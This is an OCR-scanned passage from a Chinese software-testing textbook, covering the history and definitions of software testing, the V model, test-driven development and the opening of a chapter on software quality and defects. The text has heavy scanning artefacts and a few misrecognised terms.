软 公司 重视 测试 工作 ,测试 人 员 越 来 越 多 ,如 今 微 软 的 软件 测试 人 员 是 开发 人 员 的 1.5 一 
2.5 倍 。 其 次 ,测试 人 员 越 来 越 有 经 验 ,测试 工作 也 就 越 做 越 好 。 正 是 由 于 清晰 地 认识 到 了 
软件 测试 的 重要 性 ,微软 的 产品 质量 才 有 了 明显 的 提高 。 

最 初 , 微 软 公司 与 大 家 一 样 , 认 为 测试 不 重要 ,重要 的 是 开发 人 员 。 通 常 ,一 个 团队 中 有 
几 百 个 开发 人 员 ,但 只 有 几 个 测试 人 员 ,并 且 开 发 人 员 的 待遇 要 比 测试 人 员 高 很 多 。 经 过 多 
年 的 实践 后 ,微软 公司 发 现 ,去 修正 那些 出 现 问题 的 产品 所 花 的 钱 , 比 多 聘用 几 个 测试 人 员 


的 费用 要 高 得 多 ,所 以 ,开始 不 断 地 聘用 测试 人 员 。 同 时 ,现在 测试 人 员 的 待遇 和 开发 人 员 
的 待遇 非常 接近 ,测试 人 员 水 平 越 高 ,找到 软件 问题 的 时 间 就 越 早 , 软 件 就 越 容 易 更 正 ,产品 
发 布 之 后 越 稳定 ,公司 赚 的 钱 也 越 多 。 这 也 是 多 数 软件 公司 慢 慢 悟 出 来 的 道理 ,软件 测试 是 
软件 产品 开发 中 最 重要 的 几 个 环节 之 一 。 


1.3 什么 是 软件 测试 


在 购买 商品 时 ,会 发 现 商 品 上 贴 有 一 个 QC 标签 ,这 就 是 质量 检验 (Quality Control), 
软件 测试 就 好 比 制造 工厂 的 质量 检验 ,是 对 软件 产品 和 阶段 性 工作 成 果 进行 质量 检验 ,力求 
发 现 其 中 的 各 种 缺陷 ,并 督促 缺陷 得 到 修正 ,从 而 控制 软件 产品 的 质量 。 所 以 ,软件 测试 是 
软件 公司 致力 于 提高 软件 产品 质量 的 重要 手段 之 一 。 但 要 给 软件 测试 下 个 定义 ,可 能 不 是 
一 件 容 易 的 事情 ,必须 了 解 软件 测试 学 科 形 成 的 过 程 , 理 解 软件 测试 的 正 反 两 个 方面 的 含 
义 ,分 析 软 件 测 试 的 不 同 观点 ,最 终 给 出 软件 测试 一 个 完整 的 定义 。 


1.3.1 软件 测试 学 科 的 形成 


在 早期 软件 开发 过 程 中 ,软件 开发 等 于 编程 ,软件 工程 的 概念 和 思想 还 没有 形成 ,也 就 
没有 明确 的 分 工 , 软 件 开 发 的 过 程 随意 .混乱 无 序 , 测 试 和 调试 混淆 在 一 起 ,没有 独立 的 测 
试 ,所 有 的 工作 基本 都 是 由 程序 员 完 成 ,一 面 写 程序 ,一 面 调试 程序 。 直 到 1957 年 ,软件 测 
试 才 开始 区 别 于 调试 ,作为 一 种 发 现 软件 缺陷 的 独立 活动 而 存在 。 但 这 时 ,测试 的 活动 往往 
发 生 在 代码 完成 之 后 ,测试 被 认为 是 一 种 产品 检验 的 手段 ,成 为 软件 生命 周期 中 最 后 一 项 活 
动 而 进行 。 在 这 一 时 期 ,测试 的 投入 还 很 少 , 也 缺乏 有 效 的 测试 方法 ,所 以 ,软件 产品 交付 到 
客户 那里 ,仍然 存在 很 多 问题 ,软件 产品 的 质量 无 法 保证 。 

1972 年 ,软件 测试 领域 的 先驱 Bill Hetzel 博 
士 ( 如 图 1-1 所 示 , 代 表 论 著 《 软 件 测试 完全 指 
i), The Complete Guide to Software Testing, 
1993) ,在 美国 的 北 卡罗来纳 大 学 (University of 
North Carolina) 组 织 了 历史 上 第 一 次 正式 的 关 
于 软件 测试 的 会 议 。 从 此 以 后 ,软件 测试 开始 频 
繁 出 现在 软件 工程 的 研究 和 实践 中 ,也 可 以 认为 ， 
软件 测试 作为 一 个 学 科 正式 诞生 了 。 在 1973 年 ， 
Bill Hetzel 正式 为 软件 测试 下 了 一 个 定义 :“ 软 件 
测试 就 是 为 程序 能 够 按 预期 设想 运行 而 建立 足够 的 信心 *。Bill Hetzel 觉得 原先 的 定义 不 
够 清楚 ,理解 起 来 比较 困难 ,所 以 在 1983 年 将 软件 测试 的 定义 修改 为 :“ 软 件 测 试 就 是 一 系 
列 活 动 , 这 些 活动 是 为 了 评估 一 个 程序 或 软件 系统 的 特性 或 能 力 , 并 确定 其 是 否 达到 了 预期 
结果 ”。 在 上 述 软件 测试 定义 中 ,至少 可 以 看 到 以 下 几 点 : 

。 测试 是 试图 验证 软件 是 “工作 的 ”, 也 就 是 验证 软件 功能 执行 的 正确 性 。 

。 测试 的 目的 也 就 是 验证 软件 是 否 符合 事先 定义 的 要 求 。 

。 测试 的 活动 是 以 人 们 的 “设想 ”或 “预期 的 结果 ”为 依据 。 这 里 的 “设想 ”或 “预期 的 结 

果 ” 是 指 需求 定义 、 软 件 设计 的 结果 。 


图 1-1 Bill Hetzel 博士 和 他 的 代表 作 


在 此 之 后 ,软件 测试 有 了 很 大 的 发 展 ,不 仅 制定 了 国际 标准 (IEEE/ANSD ,而 且 和 软件 
开发 流程 融合 成 一 体 。 软 件 测试 是 软件 开发 不 可 缺少 的 一 部 分 ,由 独立 的 团队 承担 相应 的 
工作 ,在 软件 企业 举足轻重 。 软 件 测 试 也 逐渐 形成 一 门 独立 的 学 科 , 在 许多 大 学 里 开设 相应 
的 专业 或 课程 ,获得 学 术 界 越 来 越 多 的 关注 。 


1.3.2 正 反 两 方面 的 争辩 


Bill Hetzel 可 以 说 是 软件 测试 的 奠基 人 ,但 他 的 观点 还 是 受到 业界 一 些 权威 的 质疑 和 
挑战 ,其 中 代表 人 物 要 数 Glenford J. Myers (代表 论著 (软件 测试 的 艺术 》, The Art of 
Software Testing,1979, 如 图 1-2 所 示 )。Myers 认为 测试 不 应 该 着 眼 于 验证 软件 是 工作 
的 ,相反 ,应 该 用 逆向 思维 去 发 现 尽 可 能 多 的 错 

THE The ART 误 。 他 认为 ,从 心理 学 的 角度 看 ,如 果 将 “验证 软 

OA 到” 件 是 工作 的 ”作为 测试 的 目的 ,非常 不 利于 测试 

TE Sl 类。 人 员 发 现 软件 的 错误 。 因 此 ,1979 年 他 给 出 了 软 

Ue 件 测 试 的 不 同 的 定义 :“ 测 试 是 为 了 发 现 错误 而 

foo onnon 执行 一 个 程序 或 者 系统 的 过 程 ”。 从 这 个 定义 可 

以 看 出 ,假定 软件 总 是 有 错误 的 ,测试 就 是 为 了 

发 现 缺陷 ,而 不 是 证 明 程 序 无 错误 。 发 现 了 问题 

说 明 程 序 有 错 , 但 如 果 没 有 发 现 问题 ,并 不 能 说 

明 问 题 就 不 存在 ,而 是 至 今 未 发 现 软件 中 所 潜在 
的 问题 。 

从 这 个 定义 延伸 出 去 ,Myers 认为 ,一 个 成 功 的 测试 必须 是 发 现 了 软件 问题 的 测试 , 否 
则 测试 就 没有 价值 。 这 就 如 同一 个 病人 (因为 是 病人 ,假定 确实 有 病 ) ,到 医院 去 做 相应 的 检 
查 , 结 果 没 有 发 现 问 题 , 那 说 明 这 次 医疗 检查 是 失败 的 ,浪费 了 病人 的 时 间 和 钱 。Myers 提 
出 的 “测试 的 目的 是 证 伪 ” 这 一 概念 ,和 Bill Hetzel 的 观点 “测试 是 试图 验证 软件 是 正确 的 ” 
针锋相对 ,为 软件 测试 的 发 展 指出 了 不 同 的 努力 方向 ,产生 了 新 的 软件 测试 理论 和 方法 。 

Myers 的 定义 是 引导 人 们 证 明 软 件 是 “不 工作 的 ”, 以 反 向 思维 方式 ,不 断 思考 开发 人 员 
理解 的 误区 ,不良 的 习惯 .程序 代码 的 边界 .无 效 数据 的 输入 以 及 系统 的 弱点 ,试图 破坏 系 
统 、 挫 毁 系 统 , 目 标 就 是 发 现 系统 中 各 种 各 样 的 问题 。 

人 类 的 活动 具有 高 度 的 目的 性 ,建立 适当 的 目标 具有 重要 的 心理 作用 。 如 果 测 试 目的 
是 为 了 证 明 程序 里 面 没有 错误 ,潜意识 里 就 可 能 不 自觉 地 朝 这 个 方向 去 做 ,在 进行 测试 的 过 
程 中 ,就 不 会 刻意 选择 一 些 尽量 使 程序 出 错 的 测试 数据 ,而 选择 一 些 常 用 的 数据 ,测试 容易 
通过 ,而 不 容易 发 现 问题 。 如 果 测 试 的 目标 是 要 证 明 程序 中 有 错 , 那 我 们 会 设法 选择 一 些 易 
于 发 现 程序 错误 的 测试 数据 ,这 样 ,测试 的 结果 会 更 有 意义 ,对 软件 质量 的 提高 会 有 更 大 的 
帮助 。 


1.3.3 软件 测试 的 定义 


Glenford J. Myers 的 软件 测试 定义 ,虽然 受到 业界 的 普遍 认同 ,但 也 存在 一 些 问题 ， 
例如 : 
。 如 果 只 强调 测试 的 目的 是 寻找 错误 ,就 可 能 使 测试 人 员 容易 忽 视 软件 产品 的 某 些 基 


TESTING” 


图 1-2 《软件 测试 的 艺术 (I 、 卫 版 


本 需求 或 客户 的 实际 需求 ,测试 活动 可 能 会 存在 一 定 的 随意 性 和 盲目 性 。 
。 如 果 只 强调 测试 的 目的 是 寻找 错误 ,使 开发 人 员 容 易 产生 一 个 错误 的 印象 ,测试 人 
员 的 工作 就 是 挑 毛病 的 。 
除 此 之 外 ,Glenford J. Myers 的 软件 测试 定义 还 强调 测试 是 执行 一 个 程序 或 者 系统 的 
过 程 ,也 就 是 说 ,测试 活动 是 在 程序 代码 完成 之 后 进行 ,而 不 是 贯穿 整个 软件 开发 过 程 的 活 
动 , 即 软件 测试 不 包括 软件 需求 评审 、 软 件 设计 评审 和 软件 代码 静态 检查 等 一 系列 活动 ,从 
而 使 软件 测试 的 定义 具有 局 限 性 和 片面 性 。 
Bill Hetzel 的 软件 测试 定义 可 能 使 软件 测试 活动 的 效率 降低 ,甚至 缺乏 有 效 的 方法 进 
行 测试 活动 。 但 是 , Bill Hetzel 的 软件 测试 定义 也 得 到 了 国际 标准 的 采纳 ,例如 在 IEEE 
1983 of IEEE Standard 729 中 对 软件 测试 下 了 一 个 标准 的 定义 : 使 用 人 工 或 自动 手段 来 运 
行 或 测定 某 个 系统 的 过 程 , 其 目的 在 于 检验 它 是 否 满足 规定 的 需求 或 是 弄 清 预期 结果 与 实 
际 结果 之 间 的 差别 。 这 里 明确 地 提出 了 软件 测试 是 以 检验 是 否 满足 需求 为 目标 。 
这 正 反 两 方面 的 观点 是 从 不 同 的 角度 看 问题 ,一 方面 通过 测试 来 保证 质量 , 另 一 方面 又 
要 改进 测试 方法 和 提高 软件 测试 的 效率 ,两 者 应 该 相辅相成 。 因 为 测试 不 能 证 明 软 件 没有 
丝毫 错误 .不 能 确认 所 有 的 功能 可 以 正常 工作 ,所 以 测试 要 尽 可 能 找 出 那些 不 能 正常 工作 、 
不 一 致 性 的 问题 。 软 件 测 试 就 是 在 这 两 者 之 间 获 得 平衡 ,但 对 于 不 同 的 应 用 领域 ,两 者 的 比 
重 是 不 一 样 的 。 例 如 ,国防 航天、 银行 等 软件 系统 ,承受 不 了 系统 的 任何 一 次 失效 ,因为 这 
些 失效 都 完全 有 可 能 导致 灾难 性 的 事件 ,所 以 强调 前 者 ,以 保证 非常 高 的 软件 质量 。 而 一 般 
的 软件 应 用 或 服务 , 则 可 以 强调 后 者 ,质量 目标 设置 在 用户 可 接受 水 平 ”, 以 降低 软件 开发 
成 本 ,加 快 软件 发 布 速度 ,有 利于 市 场 的 扩张 。 
概括 起 来 ,软件 测试 的 正确 定义 就 是 : 软件 测试 是 由 “验证 (verification)” 和 “有 效 性 确 
认 (validation)” 活 动 构成 的 整体 : 
。“ 验 证 ”是 检验 软件 是 否 已 正确 地 实现 了 产品 规格 书 所 定义 的 系统 功能 和 特性 。 验 
证 过 程 提 供 证 据 表明 软件 相关 产品 与 所 有 生命 周期 活动 的 要 求 ( 如 正确 性 、 完 整 性 、 
一 致 性 、 准 确 性 等 ) 相 一 致 。 相 当 于 以 软件 产品 设计 规格 说 明 书 为 标准 进行 软件 测 
试 的 活动 。 
。，“ 有 效 性 确认 ”是 确认 所 开发 的 软件 是 否 满足 用 户 真 正 需 求 的 活动 。 一 切 从 客户 
出 发 ,理解 客户 的 需求 ,对 软件 需求 定义 ,设计 的 怀疑 ,发 现 需求 定义 和 产品 设计 
中 的 问题 。 这 主要 通过 各 种 软件 评审 活动 来 实现 ,包括 让 客户 参加 评审 、 测 试 
活动 。 
1.3.4 软件 测试 的 其 他 观点 


上 面 已 给 出 软件 测试 的 定义 ,但 是 为 了 更 好 地 全 面 理解 软件 测试 ,还 可 以 从 其 他 的 观点 
来 分 析 软 件 测试 ,其 中 最 突出 的 观点 就 是 风险 的 观点 和 经 济 的 观点 。 因 为 没有 办 法 证 明 软 
件 是 正确 的 ,软件 测试 本 身 总 是 具有 一 定 的 风险 性 ,所 以 软件 测试 被 认为 是 对 软件 系统 中 潜 
在 的 各 种 风险 进行 评估 的 活动 。 从 风险 的 观点 看 ,软件 测试 就 是 对 风险 的 不 断 评估 ,引导 软 
件 开 发 的 工作 ,进而 将 最 终 发 布 的 软件 所 存在 的 风险 降 到 最 低 。 基 于 风险 的 软件 测试 可 以 
被 看 作 是 一 个 动态 的 监控 过 程 ,对 软件 开发 全 过 程 进行 检测 ,随时 发 现 不 健康 的 征兆 ,发 现 
间 题 .报告 问题 ,并 重新 评估 新 的 风险 ,设置 新 的 监控 基准 ,不 断 地 持续 下 去 ,包括 回归 测试 。 


这 时 ,软件 测试 可 以 完全 看 作 是 软件 质量 控制 的 过 程 。 

测试 的 风险 观点 也 可 以 不 断 提 醒 我 们 ,在 尽力 做 好 测试 工作 的 前 提 下 ,工作 有 所 侧重 ， 
在 风险 和 开发 周期 限制 上 获得 平衡 。 首 先 评估 测试 的 风险 ,每 个 功能 出 问题 的 概率 有 多 大 ? 
根据 Pareto 原则 (也 叫 80/20 原则 ) ,哪些 功能 是 用 户 最 常用 的 20% 功 能 ? 如 果 某 个 功能 出 
问题 ,其 对 用 户 的 影响 又 有 多 大 ? 然后 根据 风险 大 小 确定 测试 的 优先 级 。 优 先 级 高 的 功能 
特性 ,测试 优先 得 到 执行 。 一 般 来 讲 ,针对 用 户 最 常用 的 20% 功 能 (优先 级 高 ) 的 测试 会 得 
到 完全 地 ,充分 地 执行 ,而 低 优先 级 功能 的 测试 (另外 用 户 不 常用 的 80% 功 能 ) 就 可 能 由 于 
时 间或 经 费 的 限制 ,测试 的 要 求 降低 ,减少 测试 工作 量 。 

上 面 的 叙述 ,也 体现 了 测试 的 经 济 观 点 ,所 以 测试 的 风险 观点 和 经 济 观点 有 着 千 丝 万 缕 
的 关系 。 测 试 的 经 济 观点 就 是 以 最 小 的 代价 获得 最 高 的 软件 产品 质量 , 正 是 风险 观点 在 软 
件 开发 成 本 上 的 体现 ,通过 风险 的 控制 来 降低 软件 开发 成 本 。 经 济 观点 也 要 求 软 件 测试 尽 
早 开 展 工作 ,发现 缺陷 越 早 ,返工 的 工作 量 就 越 小 ,所 造成 的 损失 就 越 小 。 所 以 ,从 经 济 观点 
出 发 ,测试 不 能 在 软件 代码 写 完 之 后 才 开 始 ,而 是 从 项 目 启动 的 第 一 天 起 ,测试 人 员 就 参与 
进去 ,尽快 尽早 地 发 现 更 多 的 缺陷 ,并 督促 和 帮助 开发 人 员 修 正人 缺陷 。 软 件 测试 的 经 济 学 观 
点 ,可 以 从 Boehm 的 著作 《软件 工程 经 济 》(Software Engineering Economics ,1981) 中 得 到 
进一步 的 印证 。 


1.4 ”软件 测试 和 软件 开发 的 关系 


在 著名 的 软件 瀑布 模型 中 ,如 图 1-3 所 示 ,软件 测试 是 处 在 “编程 的 下 游 、 在 “软件 维 
护 ” 的 上 游 , 先 有 编程 ,后 有 测试 ,测试 的 位 置 很 清楚 。 在 瀑布 模型 中 ,测试 只 有 等 到 程序 完 
成 了 才 可 以 执行 ,强调 测试 仅仅 是 对 程序 的 检验 。 从 这 里 可 以 看 出 ,Glenford J. Myers 的 
软件 测试 定义 是 从 瀑布 模型 出 发 的 。 但 瀑布 模型 属于 传统 的 软件 工程 ,存在 很 大 的 局 限 性 ， 
与 软件 开发 的 迭代 (iteration) 思 想 、 敏 捷 (agile) 方 法 存在 很 大 的 冲突 ,也 不 符合 软件 工程 的 


最 佳 实践 。 
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图 1-3 软件 过 程 简单 示意 图 


时 间 


需求 分 析 是 在 软件 开发 的 最 前 端 , 也 就 说 明 它 对 后 期 的 影响 最 大 ,所 以 说 ,软件 需求 分 
析 很 重要 ,要 想 成 功 开发 一 个 软件 产品 ,首先 要 做 好 需求 分 析 。 但 另 一 方面 ,在 需求 分 析 时 ， 
往往 很 难 做 到 彻底 弄 清楚 用 户 对 产品 的 各 项 具体 的 要 求 。 由 于 大 多 数 使 用 或 将 要 使 用 计算 
机 产品 的 用 户 ,不 是 计算 机 方面 的 专业 人 员 ,其 至 对 计算 机 一 点 都 不 了 解 ,所 以 对 计算 机 能 


做 哪些 事情 .不 能 做 哪些 事情 、 善 于 做 哪些 事情 、 不 善于 做 哪些 事情 等 都 不 清楚 ,只 能 给 出 软 
件 的 一 般 性 功能 或 目标 要 求 , 不 能 提出 具体 的 要 求 , 也 不 能 给 出 规范 的 、 科 学 的 ,详细 的 输入 
和 输出 需求 。 这 也 是 为 什么 一 直 强 调 做 好 需求 验证 ,软件 测试 人 员 从 项 目 启动 的 第 一 天 就 
要 介入 ,认真 对 待 需 求 评审 。 

现在 人 们 普遍 认为 软件 测试 贯穿 着 整个 软件 生命 周期 ,从 需求 评审 、 设 计 评审 开始 , 测 
试 就 介入 到 软件 产品 的 开发 活动 或 软件 项 目 实 施 中 。 测 试 人 员 借 助 于 需求 定义 的 阅读 、 讨 
论 和 审查 ,不 仅 发 现 需求 定义 的 问题 ,而 且 可 以 了 解 产品 的 设计 特性 .用 户 的 真正 需求 ， 
确定 测试 目标 ,准备 用 例 (Use Case) 并 策划 测试 活动 。 同 理 , 在 软件 设计 阶段 ,测试 人 员 
可 以 了 解 系统 是 如 何 实现 的 .构建 在 什么 样 的 平台 之 上 等 各 类 问题 ,这 样 可 以 衡量 系统 
的 可 测试 性 ,检查 系统 的 设计 是 否 符 合 系统 的 可 靠 性 要 求 . 是 否 存 在 单 点 实效 的 严重 问 
题 等 。 

软件 测试 和 软件 开发 构成 一 个 全 过 程 的 交互 .协作 之 关系 ,两 者 自始至终 一 起 工作 , 共 
同 致 力 于 同一 个 目标 一 一 按时 、 高 质量 的 完成 项 目 。V 模型 能 够 准确 地 反映 测试 活动 与 分 
析 设 计 活 动 的 关系 ,说 明 软 件 测试 活动 和 项 目 同 时 启动 ,软件 测试 的 工作 很 早 就 开始 了 , 避 
免 了 瀑布 模型 所 带 来 的 误区 一 一 软件 测试 是 在 代码 完成 之 后 进行 。 在 V 模型 中 ,左边 是 软 
件 的 定义 和 实现 (包括 分 析 、 设 计 和 编程 ) ,右边 是 验证 ( 即 测试 ) ,如 图 1-4 所 示 。 右 边 ( 测 试 
的 工作 ) 是 对 左边 工作 成 果 的 检验 ,以 确认 是 否 满足 用 户 的 需求 。V 模型 从 左 到 右 描 述 了 
基本 的 开发 过 程 和 测试 行为 ,非常 明确 地 标注 了 测试 过 程 中 存在 的 不 同类 型 的 测试 ,并 且 清 
楚 地 描述 了 这 些 测试 阶段 和 开发 过 程 期 间 各 阶段 的 对 应 关系 , 即 从 4 个 层次 完成 软件 的 验 
证 , 即 对 需求 ,系统 架构 设计 、 详 细 的 产品 设计 和 代码 的 验证 : 

ERM Og 用户 需求 验证 ______ 验收 
和 定义 测试 


详细 功 Y ”功能 验证 
能 设计 


构建 过 程 


验证 过 程 


图 1-4 V 模型 呈现 测试 和 开发 


(1) 需求 验证 对 应 验收 测试 ,客户 需求 的 确认 测试 ; 

(2) 系统 架构 设计 的 验证 对 应 系统 测试 ; 

(3) 产品 详细 设计 的 验证 对 应 功能 测试 ; 

(4) 代码 的 验证 对 应 单元 测试 。 

也 就 是 说 ,如 果 只 在 某 一 、 两 个 方面 (如 代码 测试 、 功 能 测试 ) 完 成 对 软件 产品 的 测试 ,都 
说 明 测 试 是 不 完整 的 。 只 有 从 这 4 个 层次 完成 对 软件 产品 的 测试 , 才 是 完整 的 。 


1.5 测试 驱动 开发 的 思想 


在 目前 比较 流行 的 敏捷 方法 (如 极限 编程 .Scrum 方法 等 ) 中 ,提出 了 “测试 驱动 开发 
(Test Driven Development,TDD)” 一 一 测试 在 先 、 编 码 在 后 的 开发 方法 。TDD 有 别 于 以 往 
的 先 编码 后 测试 的 开发 过 程 ,而 是 在 编程 之 前 , 先 写 测试 脚本 或 设计 测试 用 例 。TDD 在 敏 
捷 方 法 中 被 称 为 “测试 第 一 的 开发 (test-first programming)”, 而 在 IBM Rational 统一 过 程 
(Rational Unified Process, RUP) 中 被 称 为 “测试 第 一 的 设计 (test-first design)”。 所 有 这 
些 ,都 在 强调 “测试 先行 ”使 得 开发 人 员 对 所 写 的 代码 有 足够 的 信心 ,同时 也 有 勇气 进行 代 
HEW. 

TDD 具体 实施 过 程 , 如 图 1-5 所 示 。 在 打算 添加 某 项 新 功能 时 , 先 不 要 急 着 写 程 序 代 
码 , 而 是 将 各 种 特定 条 件 、 使 用 场景 等 想 清楚 ,为 待 编写 的 代码 先 写 一 段 测试 用 例 。 然 后 , 利 
用 集成 开发 环境 或 相应 的 测试 工具 来 执行 这 段 测试 用 例 , 结 果 自 然 是 失败 。 利 用 没有 通过 
测试 的 错误 信息 反馈 ,了 解 到 代码 没有 通过 测试 用 例 的 原因 ,有 针对 性 地 逐步 地 添加 代码 。 
为 了 要 使 该 测试 用 例 通 过 ,就 要 补充 、 修 改 代码 ,直到 代码 符合 测试 用 例 的 要 求 ,获得 通过 。 
测试 用 例 全 部 执行 成 功 , 说 明 新 添加 的 功能 通过 了 单元 测试 ,可 以 进入 下 一 个 环节 。 


开始 二 一 一 》 为 新 性 能 


2 写 一 个 测试 S 


o 编译 
运行 测试 l 
并 通过 修订 编译 错误 


运行 测试 ee 


编写 代码 < 并 发 现 错误 
图 1-5 测试 驱动 开发 的 软件 过 程 


TDD 从 根本 上 改变 了 开发 人 员 的 编程 态度 ,开发 人 员 不 能 再 像 过 去 那样 随意 写 代 码 ， 
要 求 写 的 每 行 代 码 都 是 有 效 的 代码 ,这 样 写 完 所 有 的 代码 就 意味 着 真正 完成 了 编码 任务 。 
而 在 此 之 前 ,代码 写 完 了 ,实际 上 ,编程 工作 没有 结束 ,因为 还 有 许多 错误 等 待 去 修正 。 测 试 
了 驱动 开发 在 于 保障 代码 的 正确 性 ,能 够 迅速 发 现 .定位 程序 问题 ,大 大 减少 返工 的 可 能 性 , 降 
低 开发 成 本 。 

测试 驱动 开发 一 改 以 往 的 破坏 性 测试 的 思维 方式 ,测试 在 先 ,编码 在 后 ,更 符合 “缺陷 预 
防 ” 的 思想 。 这 样 一 来 ,编码 的 思维 方式 发 生 了 很 大 的 变化 ,编写 出 高 质量 的 代码 去 通过 这 
些 测试 ,在 写 每 一 行 代码 时 就 要 保证 没有 问题 .能 通过 测试 。 测 试 ,也 从 以 前 的 破坏 性 的 方 
法 转移 到 一 种 建设 性 的 方法 中 来 。 在 这 种 积极 心态 的 影响 下 ,开发 人 员 的 工作 效率 会 有 很 
大 的 提高 。 

如 果 进 一 步 去 看 TDD, 会 发现 更 丰富 的 内 容 ,包括 客户 需求 卡片 (Customer 
Requirement Card, CRC) ,单元 测试 .结对 编程 .持续 集成 .代码 重 构 等 。 对 TDD 的 一 个 较 
为 详细 的 描述 ,如 图 1-6 所 示 。 
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图 1-6 测试 驱动 开发 过 程 的 测试 子 过 程 
小 结 


本 章 主要 讨论 下 面 几 个 问题 : 

© 为 什么 要 开展 软件 测试 活动 ? 

© 什么 是 软件 测试 ? 

e 如何 理解 软件 测试 ? 

。 软件 测试 和 软件 开发 的 关系 是 什么 ? 

从 讨论 的 结果 中 可 知 ,没有 测试 ,软件 就 没有 质量 ; 测试 没 做 好 ,软件 问题 可 能 会 引起 
灾难 或 给 软件 企业 带 来 巨大 的 损失 。 软 件 测试 是 软件 质量 保证 的 重要 手段 之 一 ,是 软件 开 
发 过 程 中 不 可 缺少 的 部 分 。 软 件 测试 ,不 仅 要 检验 软件 是 否 已 正确 地 实现 了 产品 规格 说 明 
书 所 定义 的 系统 功能 和 特性 ,而 且 要 确认 所 开发 的 软件 是 否 满足 用 户 真 正 需 求 的 活动 。 软 
件 测试 无 法 证 明 软 件 是 正确 的 ,总 是 存在 风险 的 ,这 就 规定 了 软件 测试 人 员 要 尽 可 能 地 发 现 
软件 问题 。 从 这 个 意义 上 看 ,软件 测试 是 为 了 发 现 缺 陷 , 而 且 要 尽早 地 发 现 缺 陷 。 

通过 对 软件 测试 的 风险 观点 和 经 济 观点 的 分 析 , 可 以 更 好 地 理解 软件 测试 。 通 过 V 模 
型 ,可 以 更 客观 地 、 更 准确 地 描述 软件 测试 和 软件 开发 的 关系 。 软 件 测试 贯穿 着 整个 软件 生 
命 周期 ,和 软件 开发 构成 相辅相成 的 关系 。 软 件 测试 驱动 开发 方法 再 次 昭示 了 测试 的 重要 
性 ,对 提高 软件 质量 、 降 低 软 件 开发 成 本 有 很 大 帮助 。 


思考 题 


1. 在 你 的 印象 中 ,是 否 还 有 其 他 实例 说 明 软 件 问 题 会 造成 巨大 经 济 损失 或 带 来 社会 
灾害 ? 

2. 谈 谈 关 于 软件 测试 的 正 反 两 方面 观点 所 带 来 的 利 整 。 

3. 软件 测试 和 软件 开发 的 关系 是 怎样 的 ? 为 什么 这 样 说 ? 

4. 如 何 看 待 敏 捷 方法 的 TDD 思想 ? 在 实施 Scrum 敏捷 方法 时 ,测试 工作 又 会 面临 哪 
些 新 的 挑战 ? 


CHAPTER 2 
a 
#25 


软件 测试 的 基本 概念 


第 1 章 着 重 介绍 了 为 什么 要 进行 软件 测试 和 什么 是 软件 测试 ,从 
而 使 读者 认识 到 软件 测试 是 软件 质量 保证 的 重要 手段 之 一 。 软 件 测 
试 的 主要 目的 之 一 就 是 为 了 发 现 软件 中 存在 的 缺陷 。 所 以 要 做 好 测 
试 ,首先 就 得 了 解 什么 是 缺陷 。 而 要 了 解 什 么 是 缺陷 ,就 必须 清楚 * 质 
量 ” 概 念 ,因为 缺陷 是 相对 质量 而 存在 的 ,违背 了 质量 、 违 背 了 客户 的 
意愿 ,不 能 满足 客户 的 要 求 ,就 会 引起 问题 或 产生 缺陷 ,图 2-1 描述 了 
客户 \` 质 量 、 缺 陷 和 测试 的 关系 。 概 括 地 说 ,没有 满足 质量 要 求 和 质量 
冲突 的 东西 就 是 缺陷 ,缺陷 是 质量 的 对 立 面 。 只 有 深刻 地 理解 质量 的 
内 涵 , 才 可 以 更 早 、 更 多 地 发 现 软件 产品 中 的 缺陷 。 


要 求 或 期 里 | 质 | Ja an |i 
lit | 矛盾 或 对 立 |M a 
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本 章 将 从 软件 质量 出 发 ,介绍 软件 质量 内 涵 , 然 后 引出 软件 缺陷 
的 产生 原因 种 类 和 代价 等 。 最 后 ,将 全 面 介 绍 软件 测试 相关 的 概念 ， 
包括 软件 测试 的 分 类 测试 的 不 同 阶段 .测试 工作 的 具体 内 容 和 范畴 
等 ,使 读者 完整 地 理解 软件 测试 的 基本 内 涵 。 


2.1 软件 缺陷 


正如 前 面 所 说 ,要 了 解 缺 陷 , 就 必须 理解 “质量 ”的 概念 ,理解 软件 
质量 的 内 涵 。 软 件 产品 具有 一 般 产品 的 共性 ,也 有 其 独 具 的 特性 , 软 
件 产品 的 质量 概念 是 建立 在 一 般 产 品质 量 概念 及 理论 的 基础 之 上 , 同 
时 由 于 软件 本 身 的 特性 ,而 具有 不 同 的 内 涵 。 下 面 ,围绕 软件 质量 和 
软件 缺陷 展开 讨论 ,例如 : 

。 什么 是 质量 ? 软件 质量 有 什么 不 同 ? 

。 如 何 定义 软件 缺陷 ? 

”软件 缺陷 又 是 如 何 产生 的 ? 


© 缺陷 主要 来 源 于 哪些 地 方 ? 
。 不同 的 阶段 所 产生 的 缺陷 ,又 带 来 多 大 的 成 本 ? 


2.1.1 软件 质量 的 内 酒 


世界 著名 的 质量 管理 专家 朱 兰 说 明了 “质量 ”的 确切 含义 : 满足 使 用 要 求 的 基础 是 质量 
特征 ,产品 的 任何 特性 (性 质 、 属 性 等 )、 材 料 或 满足 使 用 要 求 的 过 程 都 是 质量 特征 。 在 此 基 
础 上 ,1986 年 ISO 8492 给 出 了 质量 定义 : 质量 是 产品 或 服务 所 满足 明示 或 暗示 需求 能 力 的 
固有 特性 和 特征 的 集合 。 
。 固有 特性 是 指 某 事物 中 本 来 就 有 的 ,尤其 是 那 种 永久 的 特性 ,例如 ,木材 的 硬度 、 桌 
子 的 高 度 、 声 音 的 频率 和 螺栓 的 直径 等 技术 特性 。 

。 明示 的 特性 ,可 以 理解 为 是 规定 的 要 求 ,一 般 在 国家 标准 \ 行 业 规范 、 产 品 说 明 书 或 
产品 设计 规格 说 明 书 中 进行 描述 或 客户 明确 提出 的 要 求 , 如 计算 机 的 尺寸 .重量 、 内 
存 和 接口 等 ,用 户 可 以 查看 。 

。 瞳 示 的 特性 是 由 社会 习俗 约定 行为 惯例 所 要 求 的 一 种 潜 规 则 、 不 言 而 喻 的 。 一 般 
情况 下 ,文档 中 不 会 给 出 明确 的 规定 ,组 织 应 根据 自身 产品 的 用 途 和 特性 进行 识别 ， 
并 做 出 规定 。 比 如 一 张 四 条 腿 的 餐桌 ,只 要 告诉 一 条 腿 的 高 度 就 可 以 了 ,暗示 着 另 
外 三 条 腿 必 须 具 有 相同 高 度 。 
而 在 IBM RUP( 统 一 过 程 ) 中 ,质量 被 定义 为 “满足 或 超出 认定 的 一 组 需求 ,并 使 用 经 过 
认可 的 评测 方法 和 标准 来 评估 ,还 使 用 认定 的 流程 来 生产 ”。 因 此 ,质量 不 是 简单 地 满足 用 
户 的 需求 ,还 得 包含 证 明 质 量 达标 所 使 用 的 评测 方法 和 标准 ,以 及 如 何 实施 可 管理 .可 重复 
